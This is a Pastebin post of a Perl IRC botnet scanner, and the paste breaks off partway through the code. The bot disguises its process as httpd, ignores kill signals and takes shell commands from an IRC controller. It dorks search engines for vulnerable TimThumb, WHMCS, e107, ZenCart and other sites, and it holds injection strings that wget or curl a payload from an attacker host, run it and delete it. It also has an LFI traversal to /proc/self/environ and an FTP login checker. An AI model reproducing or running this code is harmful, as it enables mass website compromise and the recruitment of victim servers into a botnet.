sirnon

mltiscaner

Jul 24th, 2013
1,325
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2.  
  3. use HTTP::Request;
  4. use HTTP::Request::Common;
  5. use HTTP::Request::Common qw(POST);
  6. use LWP::Simple;
  7. use LWP 5.64;
  8. use LWP::UserAgent;
  9. use Socket;
  10. use IO::Socket;
  11. use IO::Socket::INET;
  12. use IO::Select;
  13. use MIME::Base64;
  14. use URI::Escape;
  15. use Digest::MD5 qw(md5_hex);
  16. use DBI;
  17. use DBD::mysql;
  18.  
  19. my $datetime = localtime;
  20. my $fakeproc = "/usr/sbin/httpd";
  21. my $ircserver = "scan.no-ip.org";
  22. my $ircport = 6667;
  23. my $nickname = "ath0[".int(rand(100))."]";
  24. my $ident = "Sigit";
  25. my $channel = "#or";
  26. my $chanxxx = "#or";
  27. my $chaninfo = "#or";
  28. my $submitchan = "#or";
  29. my $admin = "ath0";
  30. my $fullname = "[!][scanner] Multi VersioN";
  31. my $rawmsg = $ARGV[4];
  32. my $msgraw = $ARGV[5];
  33.  
  34. my $nob0dy = " [!][scanner] Multi VersioN ";
  35. my $whmcslogo = " [!] WHMCS <=> ";
  36. my $thumblogo = " [!] TimThumb <=> ";
  37. my $zerologo = " [!] zBoarD <=> ";
  38. my $lfilogo = " [!] Lfi <=> ";
  39. my $rfilogo = " [!] Rfi <=> ";
  40. my $xmllogo = " [!] Xml <=> ";
  41. my $oscologo = " [!]Osco <=> ";
  42. my $oscosqllogo = " [!] O-Sql <=> ";
  43. my $e107logo = " [!] E107 <=> ";
  44. my $ihlogo = " [!] Is-Human <=> ";
  45. my $zenlogo = " [!] ZenCart <=> ";
  46. my $rfglogo = " [!] RfG <=> ";
  47. my $carilogo = " [!] Find <=> ";
  48. my $whmcscmd = '.whmcs';
  49. my $thumbcmd = "!tim".int(rand(10));
  50. my $zerocmd = ".zero";
  51. my $lficmd = ".lfi";
  52. my $rficmd = ".rfi";
  53. my $xmlcmd = ".xml";
  54. my $e107cmd = ".e107";
  55. my $zencmd = ".zenc";
  56. my $ihcmd = ".ishu";
  57. my $oscocmd = ".osco";
  58. my $cmdlfi = ".cmdlfi";
  59. my $cmdxml = ".cmdxml";
  60. my $cmde107 = ".cmde107";
  61. my $rfgcmd = ".rfg";
  62. my $ftpcmd = ".ftp";
  63. my $spreadMode = 1;
  64. my $zerowget = 1;
  65. my $zerolwp = 1;
  66. my $zerocurl = 1;
  67. my $gps = 1;
  68. my $gps2 = 1;
  69. my $timot = 10;
  70. my $silentmode = 1;
  71. my $hostinjector = "flickr.com.lmao2.com";
  72. my $thumbid = "http://".$hostinjector."/bad.php";
  73. my $botdid = "http://".$hostinjector."/load.php";
  74. my $botxdid = "http://".$hostinjector."/xcrew.php";
  75. my $thumbshell = uri_escape($thumbid);
  76. my $md5php = md5_hex($thumbid).".php";
  77. my $md5bot = md5_hex($botdid).".php";
  78. my $md5botx = md5_hex($botxdid).".php";
  79. my $botid = uri_escape($botdid);
  80. my $botxid = uri_escape($botxdid);
  81. my $injector = "http://".$hostinjector."/bad.txt";
  82. my $botshell = "http://".$hostinjector."/bot.txt";
  83. my $subticket = "/submitticket.php?step=2&deptid=1";
  84. my $action = "/data/lobex.php";
  85. my $wgetdon = "?cmd=wget%20http%3A%2F%2F".$hostinjector."%2Fkekkaishi.php;wget%20;perl%20botis.txt;rm%20botis.txt";
  86. my $lwpdon = "?cmd=lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fkekkaishi.php;lwp-download%20-a%20;perl%20botis.txt;rm%20botis.txt";
  87. my $curldon = "?cmd=curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fkekkaishi.php;curl%20-C%20-%20-O%20;perl%20botis.txt;rm%20botis.txt";
  88. my $uagent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6";
  89. my $lfdtest = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%0000";
  90. my $jpath = "/wp-includes/error.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  91. my $jack1 = "http://tema1.simgta.com/lobex.php?q="; #"http://altadelisboa.com".$jpath;
  92. my $jack2 = "http://tema1.simgta.com/lobex.php?q="; #"http://selectiveretreats.com".$jpath;
  93. my $jack3 = "http://tema1.simgta.com/lobex.php?q="; #"http://agri-impact.com".$jpath;
  94. my $jack4 = "http://tema1.simgta.com/lobex.php?q="; #"http://viewwebinars.com".$jpath;
  95. my $jack5 = "http://tema1.simgta.com/lobex.php?q="; #"http://liftoffconsulting.ca".$jpath;
  96. my $engine = "JacKAC,JacKAD,JacKAE,JacKAF,JacKAG,JacKAL,JacKAM,JacKAN,JacKAT,JacKAR,JacKAU,JacKBE,JacKHU,JacKOrG,JacKCoM,JacKNeT,JacKPL,JacKIT,JacKID,JacKMY,
  97. JacKES,JacKUK,JacKUS,JacKJP,JacKKR,JacKDE,JacKDK,JacKCA,JacKBR,JacKRO,JacKRU,JacKNL,JacKInfO,JacKFR,JacKIN,JacKMX,JacKCZ,JacKCL,JacKUA,
  98. JacKCN,JacKIR,JacKTH,JacKEU,JacKPH,JackIL,JackIM,JacKSI,JacKBIZ,GooGLe,WaLLa,YaHoo,AsK,Bing,OnEt,CLusTy,SaPo,AoL,UoL,LyCos,HotBot,BigLobe,SeZNam";
  99.  
  100. $SIG{'INT'} = 'IGNORE';
  101. $SIG{'HUP'} = 'IGNORE';
  102. $SIG{'TERM'} = 'IGNORE';
  103. $SIG{'CHLD'} = 'IGNORE';
  104. $SIG{'PS'} = 'IGNORE';
  105. #chdir("/");
  106. $ircserver = "$ARGV[0]" if $ARGV[0];
  107. $ircport = "$ARGV[1]" if $ARGV[1];
  108. $nickname = "$ARGV[2]" if $ARGV[2];
  109. $channel = '#'."$ARGV[3]" if $ARGV[3];
  110. $0 = "$fakeproc"."\0" x 16;
  111. my $pid = fork;
  112. exit if $pid;
  113. die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
  114.  
  115. our %irc_servers;
  116. our %DCC;
  117. my $dcc_sel = new IO::Select->new();
  118. $sel_client = IO::Select->new();
  119. sub sendraw {
  120. if ($#_ == '1') {
  121. my $socket = $_[0];
  122. print $socket "$_[1]\n";
  123. } else {
  124. print $IRC_cur_socket "$_[0]\n";
  125. }
  126. }
  127. sub connector {
  128. my $mynick = $_[0];
  129. my $ircserver_con = $_[1];
  130. my $ircport_con = $_[2];
  131. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  132. if (defined($IRC_socket)) {
  133. $IRC_cur_socket = $IRC_socket;
  134. $IRC_socket->autoflush(1);
  135. $sel_client->add($IRC_socket);
  136. $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  137. $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  138. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  139. $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  140. nick("$mynick");
  141. sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
  142. sleep(1);}}
  143.  
  144. sub parse {
  145. my $servarg = shift;
  146. if ($servarg =~ /^PING \:(.*)/) {
  147. sendraw("PONG :$1");
  148. }
  149. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  150. if (lc($1) eq lc($mynick)) {
  151. $mynick = $4;
  152. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  153. }
  154. }
  155. elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  156. nick($mynick.int(rand(5)));
  157. }
  158. elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  159. $mynick = $2;
  160. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  161. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  162. sendraw("MODE $mynick +Bx");
  163. sendraw("NS id qwe123");
  164. sleep(3);
  165. sendraw("JOIN $channel correct");
  166. sendraw("JOIN $chanxxx mejen");
  167. sleep(1);
  168. sendraw("PRIVMSG $channel : EhhEemmmm !!!");
  169. sendraw("PRIVMSG $admin :Hi $admin im here !!!");
  170. }
  171. }
  172.  
  173. my $line_temp;
  174. while( 1 ) {
  175. while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
  176. select(undef, undef, undef, 0.01);
  177. delete($irc_servers{''}) if (defined($irc_servers{''}));
  178. my @ready = $sel_client->can_read(0);
  179. next unless(@ready);
  180. foreach $fh (@ready) {
  181. $IRC_cur_socket = $fh;
  182. $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  183. $nread = sysread($fh, $ircmsg, 4096);
  184. if ($nread == 0) {
  185. $sel_client->remove($fh);
  186.  
  187. $fh->close;
  188. delete($irc_servers{$fh});
  189. }
  190. @lines = split (/\n/, $ircmsg);
  191. $ircmsg =~ s/\r\n$//;
  192. if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  193. my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
  194. if ($path eq $mynick) {
  195. if ($msg =~ /^ PING (.*) /) {
  196. sendraw("NOTICE $nick : PING $1 ");
  197. }
  198. if ($msg =~ /^ VERSION /) {
  199. sendraw("NOTICE $nick : VERSION mIRC v6.21 Khaled Mardam-Bey ");
  200. }
  201. if ($msg =~ /^ TIME /) {
  202. sendraw("NOTICE $nick : TIME ".$datetime." ");
  203. }
  204. if (&isAdmin($nick) && $msg eq "!die") {
  205. &shell("$path","kill -9 $$");
  206. }
  207. if (&isAdmin($nick) && $msg eq "!killall") {
  208. &shell("$path","killall -9 perl");
  209. }
  210. if (&isAdmin($nick) && $msg eq "!reset") {
  211. sendraw("QUIT :Restarting...");
  212. }
  213. if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  214. sendraw("JOIN #".$1);
  215. }
  216. if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  217. sendraw("PART #".$1);
  218. }
  219. if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
  220. sendraw("NICK ".$1);
  221. }
  222. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  223. sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");
  224. }
  225. if (&isAdmin($nick) && $msg !~ /^!/) {
  226. &shell("$nick","$msg");
  227. }
  228. if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) {
  229. sendraw("$rawmsg $msgraw ".$1);
  230. }
  231. if (&isAdmin($nick) && $msg =~ /^!say (.+)/) {
  232. sendraw("PRIVMSG $rawmsg ".$1);
  233. }
  234. if (&isAdmin($nick) && $msg =~ /^!act (.+)/) {
  235. sendraw("PRIVMSG $rawmsg : ACTION ".$1." ");
  236. }
  237. if (&isAdmin($nick) && $msg =~ /^!chtcmd\s+(.*) -d/) {
  238. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  239. $newthumbcmd = $1;
  240. $thumbcmd = $newthumbcmd;
  241. &msg("$admin","$thumblogo Scan Command change to $thumbcmd ");
  242. }}}
  243. if (&isAdmin($nick) && $msg =~ /^!chzcmd\s+(.*) -d/) {
  244. $newzerocmd = $1;
  245. $zerocmd = $newzerocmd;
  246. &msg("$admin","$zerologo Scan Command change to $zerocmd ");
  247. }
  248. if (&isAdmin($nick) && $msg =~ /^!chwcmd\s+(.*) -d/) {
  249. $newwhmcscmd = $1;
  250. $whmcscmd = $newwhmcscmd;
  251. &msg("$admin","$whmcslogo Scan Command change to $whmcscmd ");
  252. }
  253. if (&isAdmin($nick) && $msg =~ /^!timot\s+(.*) -d/) {
  254. $newtimot = $1;
  255. $timot = $newtimot;
  256. &msg("$admin"," Get Content TimeOut change to $timot ");
  257. }
  258. if (&isAdmin($nick) && $msg =~ /^!chxchan\s+(.+) -d/) {
  259. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  260. $newchan = $1;
  261. $chanxxx = $newchan;
  262. &msg("$admin"," xChan change to $chanxxx ");
  263. }}}
  264. }
  265. else {
  266. if (&isAdmin($nick) && $msg eq "!die") {
  267. &shell("$path","kill -9 $$");
  268. }
  269. if (&isAdmin($nick) && $msg eq "!killall") {
  270. &shell("$path","killall -9 perl");
  271. }
  272. if (&isAdmin($nick) && $msg eq "!reset") {
  273. sendraw("QUIT :Restarting...");
  274. }
  275. if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  276. sendraw("JOIN #".$1);
  277. }
  278. if (&isAdmin($nick) && $msg eq "!part") {
  279. sendraw("PART $path");
  280. }
  281. if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  282. sendraw("PART #".$1);
  283. }
  284. if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
  285. &shell("$path","$1");
  286. }
  287. if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
  288. &shell("$path","$1");
  289. }
  290. if ($msg=~ /^!silent\s+(.*) -d/) {
  291. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  292. $smod = $1;
  293. if ($smod =~ /ON/) { $silentmode = 1; $silentstat = "ON"; }
  294. elsif ($smod =~ /OFF/) { $silentmode = 0; $silentstat = "OFF"; }
  295. &msg("$path"," [!]Silent Mode $silentstat !!!!");
  296. }}}
  297. if ($msg=~ /^!jackx\s+(.*) -d/) {
  298. $engmod = $1;
  299. if ($engmod =~ /ON/) { $gps = 1; $gpsstat = "ACTIVATED"; }
  300.  
  301. elsif ($engmod =~ /OFF/) { $gps = 0; $gpsstat = "DEACTIVATED"; }
  302. &msg("$path","[!]Jack Engine $gpsstat !!!!");
  303. }
  304. if ($msg=~ /^!engine\s+(.*) -d/) {
  305. $engmod = $1;
  306. if ($engmod =~ /ON/) { $gps2 = 1; $gpsstat = "ACTIVATED"; }
  307. elsif ($engmod =~ /OFF/) { $gps2 = 0; $gpsstat = "DEACTIVATED"; }
  308. &msg("$path","[!]Multi Engine $gpsstat !!!!");
  309. }
  310. if (&isAdmin($nick) && $msg =~ /^!injector\s+(.*) -d/) {
  311. $newhostinjector= $1;
  312. $hostinjector = $newhostinjector;
  313. &msg("$path"," [ !]Injector change to $hostinjector ");
  314. }
  315. if ($msg=~ /^$cmdlfi\s+(.*?)\s+(.*)/){
  316. my $url = $1.$lfdtest;
  317. my $cmd = $2;
  318. &cmdlfi($url,$cmd,$path);
  319. }
  320. if ($msg=~ /^$cmdxml\s+(.*?)\s+(.*)/){
  321. my $url = $1;
  322. my $cmd = $2;
  323. &cmdxml($url,$cmd,$path);
  324. }
  325. if ($msg=~ /^$cmde107\s+(.*?)\s+(.*)/){
  326. my $url = $1;
  327. my $cmd = $2;
  328. &cmde107($url,$cmd,$path);
  329. }
  330. ##################################################################### HELP COMMAND
  331. if ($msg=~ /^!help/) {
  332. my $helplogo = " [!]Help <=> ";sleep(3);
  333. &msg("$path","$helplogo Timthumb Vuln Scan: $thumbcmd [bug] [dork] ");
  334. &msg("$path","$helplogo RFG Vuln Scan: $rfgcmd [bug] [dork] ");
  335. &msg("$path","$helplogo RFI Vuln Scan: $rficmd [bug] [dork] ");
  336. &msg("$path","$helplogo LFI Vuln Scan: $lficmd [bug] [dork] ");
  337. &msg("$path","$helplogo XML Vuln Scan: $xmlcmd [bug] [dork] ");
  338. &msg("$path","$helplogo e107 Vuln Scan: $e107cmd [dork] ");
  339. &msg("$path","$helplogo WHMCS Vuln Scan: $whmcscmd [dork] ");
  340. &msg("$path","$helplogo ZeroBoard Vuln Scan: $zerocmd [dork] ");
  341. &msg("$path","$helplogo osCommerce Vuln Scan: $oscocmd [dork] ");
  342. &msg("$path","$helplogo ZenCart Vuln Scan: $zencmd [dork] ");
  343. }
  344. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  345. &msg("$nick"," 6Fake Process/PID : $fakeproc - $$");
  346. }
  347. if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
  348. if (&isFound($thumbid,"GIF89")) {
  349. &msg("$path"," [!]Injector <=> Ready!!! ");
  350. } else {
  351. &msg("$path"," [!]Injector <=> Lost!!! ");
  352. }
  353. }
  354. if ($msg=~/^!bypass/){
  355. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  356. my $bystats1 = "";my $bystats2 = "";my $bystats3 = "";my $bystats4 = "";my $bystats5 = "";
  357. my $cekby1 = &get_content($jack1."byroe");
  358. if ($cekby1 =~ /byroe\.net/i){ $bystats1 = " Up!!!"; } else { $bystats1 = " Lost!!!"; }
  359. my $cekby2 = &get_content($jack2."byroe");
  360. if ($cekby2 =~ /byroe\.net/i){ $bystats2 = " Up!!!"; } else { $bystats2 = " Lost!!!"; }
  361. my $cekby3 = &get_content($jack3."byroe");
  362. if ($cekby3 =~ /byroe\.net/i){ $bystats3 = " Up!!!"; } else { $bystats3 = " Lost!!!"; }
  363. my $cekby4 = &get_content($jack4."byroe");
  364. if ($cekby4 =~ /byroe\.net/i){ $bystats4 = " Up!!!"; } else { $bystats4 = " Lost!!!"; }
  365. my $cekby5 = &get_content($jack5."byroe");
  366. if ($cekby5 =~ /byroe\.net/i){ $bystats5 = " Up!!!"; } else { $bystats5 = " Lost!!!"; }
  367. &msg("$path","[!]Bypass <=> JacK1=$bystats1 JacK2=$bystats2 JacK3=$bystats3 JacK4=$bystats4 15JacK5=$bystats5 ")
  368. }}}
  369. ##################################################################### SCAN
  370. if ($msg =~ /!cari\s+(.*)/) {
  371. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  372. my $find = $1;
  373. &msg($path,"$carilogo Searching $find ");
  374. &cari($path,$find);
  375. } exit; }
  376. }
  377. if ($msg =~ /^$oscocmd\s+(.*)/) {
  378. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  379. my $dork = $1;
  380. my $simpan = 'situs.txt';
  381. if (&isFound($thumbid,"GIF89")) {
  382. &msg("$chanxxx","[!] Lapor <=> $nick lagi scan Oscommerce di $path ");
  383. &msg("$path","$oscologo Dork <=> $dork ");
  384. &msg("$path","$oscologo Search Engine <=> Loading ");
  385. &se_start($path,"apalah",$simpan,$dork,$engine,9);
  386. } else {
  387. &msg("$path","[!]Injector <=> Lost!!! "); exit;
  388. }
  389. }
  390. }
  391. }
  392. if ($msg =~ /^$lficmd\s+(.+?)\s+(.*)/) {
  393. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  394. my ($bug,$dork) = ($1,$2);
  395. my $simpan = 'situs.txt';
  396. if (&isFound($thumbid,"GIF89")) {
  397. &msg("$chanxxx","[!] Lapor <=> $nick lagi scan LFI di $path ");
  398. &msg("$path","$lfilogo Dork <=> $dork ");
  399. &msg("$path","$lfilogo Bugz <=> $bug ");
  400. &msg("$path","$lfilogo Search Engine <=> Loading ");
  401. &se_start($path,$bug,$simpan,$dork,$engine,3);
  402. } else {
  403. &msg("$path","[!]Injector <=> Lost!!! "); exit;
  404. }
  405. }
  406. }
  407. }
  408. if ($msg =~ /^$rficmd\s+(.+?)\s+(.*)/) {
  409. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  410. my ($bug,$dork) = ($1,$2);
  411. my $simpan = 'situs.txt';
  412. if (&isFound($thumbid,"GIF89")) {
  413. &msg("$chanxxx"," [!] Lapor <=> $nick lagi scan RFI di $path ");
  414. &msg("$path","$rfilogo Dork <=> $dork ");
  415. &msg("$path","$rfilogo Bugz <=> $bug ");
  416. &msg("$path","$rfilogo Search Engine <=> Loading ");
  417. &se_start($path,$bug,$simpan,$dork,$engine,5);
  418. } else {
  419. &msg("$path","[!]Injector <=> Lost!!! "); exit;
  420. }
  421. }
  422. }
  423. }
  424. if ($msg =~ /^$xmlcmd\s+(.+?)\s+(.*)/) {
  425. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  426. my ($bug,$dork) = ($1,$2);
  427. my $simpan = 'situs.txt';
  428. &msg("$chanxxx","[!] Lapor <=> $nick lagi scan XML di $path ");
  429. &msg("$path","$xmllogo Dork <=> $dork ");
  430. &msg("$path","$xmllogo Bugz <=> $bug ");
  431. &msg("$path","$xmllogo Search Engine <=> Loading ");
  432. &se_start($path,$bug,$simpan,$dork,$engine,6);
  433. }
  434. }
  435. }
  436. if ($msg =~ /^$thumbcmd\s+(.+?[.php])\s+(.*)/) {
  437. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  438. my ($bug,$dork) = ($1,$2);
  439. my $simpan = 'situs.txt';
  440. if ($bug =~ m/^\//){ &msg("$path","[!]Burro tira a barra \/ do comeco :p "); exit; } else {
  441. if (&isFound($thumbid,"GIF89")) {
  442. &msg("$chanxxx","[!]Lapor <=> $nick lagi scan TimTHumb di $path ");
  443. &msg("$path","$thumblogo Dork <=> $dork ");
  444. &msg("$path","$thumblogo Bugz <=> $bug ");
  445. &msg("$path","$thumblogo Search Engine <=> Loading ");
  446. &se_start($path,$bug,$simpan,$dork,$engine,1);
  447. } else {
  448. &msg("$path","[!]Injector <=> Lost!!! "); exit; }
  449. }
  450. }
  451. }
  452. }
  453. if ($msg =~ /^$whmcscmd\s+(.*)/) {
  454. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  455. my ($bug,$dork) = ("cart.php?a=byroe&templatefile=",$1);
  456. my $simpan = 'situs.txt';
  457. &msg("$chanxxx","[!] Lapor <=> $nick lagi scan WHMCS di $path ");
  458. &msg("$path","$whmcslogo Dork <=> $dork ");
  459. &msg("$path","$whmcslogo Search Engine <=> Loading ");
  460. &se_start($path,$bug,$simpan,$dork,$engine,2);
  461. }
  462. }
  463. }
  464. if ($msg =~ /^$zerocmd\s+(.*)/) {
  465. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  466. if (&isFound($thumbid,"GIF89")) {
  467. my ($bug,$dork) = ("zboard.php?id=byroe",$1);
  468. my $simpan = 'situs.txt';
  469. &msg("$chanxxx","[!] Lapor <=> $nick lagi scan zboard di $path ");
  470. &msg("$path","$zerologo Dork <=> $dork ");
  471. &msg("$path","$zerologo Search Engine <=> Loading ");
  472. &se_start($path,$bug,$simpan,$dork,$engine,4);
  473. } else {
  474. &msg("$path","[!]Injector <=> Lost!!! ");
  475. }
  476. }
  477. }
  478. }
  479. if ($msg =~ /^$e107cmd\s+(.*)/) {
  480. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  481. if (&isFound($thumbid,"GIF89")) {
  482. my ($bug,$dork) = ("contact.php",$1);
  483. my $simpan = 'situs.txt';
  484. &msg("$chanxxx","[!] Lapor <=> $nick lagi scan E107 di $path ");
  485. &msg("$path","$e107logo Dork <=> $dork ");
  486. &msg("$path","$e107logo Search Engine <=> Loading ");
  487. &se_start($path,$bug,$simpan,$dork,$engine,7);
  488. } else {
  489. &msg("$path","[!]Injector <=> Lost!!! ");
  490. }
  491. }
  492. }
  493. }
  494. if ($msg =~ /^$ihcmd\s+(.*)/) {
  495. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  496. if (&isFound($thumbid,"GIF89")) {
  497. my ($bug,$dork) = ("wp-content/plugins/is-human/engine.php",$1);
  498. my $simpan = 'situs.txt';
  499. &msg("$chanxxx","[!] Lapor <=> $nick lagi scan Is-Human di $path ");
  500. &msg("$path","$ihlogo Dork <=> $dork ");
  501. &msg("$path","$ihlogo Search Engine <=> Loading ");
  502. &se_start($path,$bug,$simpan,$dork,$engine,8);
  503. } else {
  504. &msg("$path","[!]Injector <=> Lost!!! ");
  505. }
  506. }
  507. }
  508. }
  509. if ($msg =~ /^$zencmd\s+(.*)/) {
  510. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  511. my ($bug,$dork) = ("admin/sqlpatch.php/password_forgotten.php?action=execute",$1);
  512. my $simpan = 'situs.txt';
  513. &msg("$chanxxx","[!] Lapor <=> $nick lagi scan ZenCart di $path ");
  514. &msg("$path","$zenlogo Dork <=> $dork ");
  515. &msg("$path","$zenlogo Search Engine <=> Loading ");
  516. &se_start($path,$bug,$simpan,$dork,$engine,10);
  517. }
  518. }
  519. }
  520. if ($msg =~ /^$rfgcmd\s+(.*)/) {
  521. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  522. my ($bug,$dork) = ("apalah",$1);
  523. my $simpan = 'situs.txt';
  524. &msg("$chanxxx","[!] Lapor <=> $nick lagi scan RFG di $path ");
  525. &msg("$path","$rfglogo Dork <=> $dork ");
  526. &msg("$path","$rfglogo Search Engine <=> Loading ");
  527. &se_start($path,$bug,$simpan,$dork,$engine,11);
  528. }
  529. }
  530. }
  531. if ($msg =~ /^$ftpcmd\s+(.+?)\s+(.*)\s+(.*)/) {
  532. my $url = $_[0];
  533. my $host = $_[1];
  534. my $user = $_[2];
  535. my $pass = $_[3];
  536. if (my $pid = fork) {
  537. waitpid($pid, 0);
  538. } else {
  539. if (fork) { exit; } else {
  540. my ($host,$user,$pass) = ($1,$2,$3);
  541. &msg("$path","[!]FTP <=> Checking $host | $user:$pass");
  542. my $success = 1;
  543. use Net::FTP;
  544. my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
  545. $success = 0 if $ftp->login($user,$pass);
  546. $ftp->quit;
  547. if ($success == 0) {
  548. &notice("$nick","[FTP] [http://".$host."] [".$user.":".$pass."] Success ");
  549. } else {
  550. &notice("$nick","[FTP] [http://".$host."] [".$user.":".$pass."] Denied ");
  551.  
  552. }
  553. }
  554. }
  555. }
  556. }
  557. }
  558. for(my $c=0; $c<= $#lines; $c++) {
  559. $line = $lines[$c];
  560. $line = $line_temp.$line if ($line_temp);
  561. $line_temp = '';
  562. $line =~ s/\r$//;
  563. unless ($c == $#lines) {
  564.  
  565. parse("$line");
  566. } else {
  567. if ($#lines == 0) {
  568. parse("$line");
  569. } elsif ($lines[$c] =~ /\r$/) {
  570. parse("$line");
  571. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  572. parse("$line");
  573. } else {
  574. $line_temp = $line;
  575. }
  576. }
  577. }
  578. }
  579. }
  580.  
  581. ##################################################################################
  582.  
  583. sub lobex() {
  584. my $dork = $_[0];
  585. my @targets;
  586. for (my $st=0; $st<=1000 ; $st+=100){
  587. my $engine = "http://www.google.com/search?q=".uri_escape($dork)."&num=100&start=".$st;
  588. my $browser = &search_engine_query($engine);
  589. while ($browser =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  590. my $target = $1;
  591. if ($target !~ /google|forum|stackoverflow|php\.net/) {
  592. my @sort = split(/\.php/,$target);
  593. push (@targets,$sort[0]);
  594. }
  595. }
  596. }
  597. return @targets;
  598. }
  599.  
  600. sub cari() {
  601. my $chan = $_[0];
  602. my $dork = $_[1];
  603. my $count = 0;
  604. my @kotor = &lobex($dork);
  605. my @target = &clean(@kotor);
  606. my $num = scalar(@target); &msg($chan,"$carilogo Total [$num] sites");
  607. if ($num > 0) {
  608. foreach my $site(@target) {
  609. $count++;
  610. if ($count == $num-1) {
  611. &msg("$chan","$carilogo Finished for $dork ");
  612. }
  613. my $test = "http://".$site.".php?src=".$thumbshell;
  614. if (my $pid = fork) { waitpid($pid, 0); } else {
  615. if (fork) { exit; } else {
  616. my $coba = &get_content($test);
  617. if ($coba =~ /Unable to open image/) {
  618. &msg($chan,"$carilogo VulN -> http://".$site.".php ");
  619. }
  620. } exit;
  621. }
  622. }
  623. }
  624. }
  625.  
  626. sub type() {
  627. my ($chan,$bug,$simpan,$dork,$engine,$type) = @_;
  628. if ($type == 1){$type=&thumb_exploit($chan,$bug,$simpan,$dork,$engine);}
  629. elsif ($type == 2){$type=&whmcs_exploit($chan,$bug,$simpan,$dork,$engine);}
  630. elsif ($type == 3){$type=&lfi_exploit($chan,$bug,$simpan,$dork,$engine);}
  631. elsif ($type == 4){$type=&zero_exploit($chan,$bug,$simpan,$dork,$engine);}
  632. elsif ($type == 5){$type=&rfi_exploit($chan,$bug,$simpan,$dork,$engine);}
  633. elsif ($type == 6){$type=&xml_exploit($chan,$bug,$simpan,$dork,$engine);}
  634. elsif ($type == 7){$type=&e107_exploit($chan,$bug,$simpan,$dork,$engine);}
  635. elsif ($type == 8){$type=&ih_exploit($chan,$bug,$simpan,$dork,$engine);}
  636. elsif ($type == 9){$type=&osco_exploit($chan,$bug,$simpan,$dork,$engine);}
  637. elsif ($type == 10){$type=&zen_exploit($chan,$bug,$simpan,$dork,$engine);}
  638. elsif ($type == 11){$type=&rfg_exploit($chan,$bug,$simpan,$dork,$engine);}
  639. }
  640.  
  641. ##################################################################################
  642.  
  643. sub se_start() {
  644. my ($chan,$bug,$simpan,$dork,$engine,$type) = @_;
  645. if ($gps ==1) {
  646. if ($engine =~ /jackae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKAE",$type); } exit; } }
  647. if ($engine =~ /jackar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKAR",$type); } exit; } }
  648. if ($engine =~ /jackat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKAT",$type); } exit; } }
  649. if ($engine =~ /jackau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKAU",$type); } exit; } }
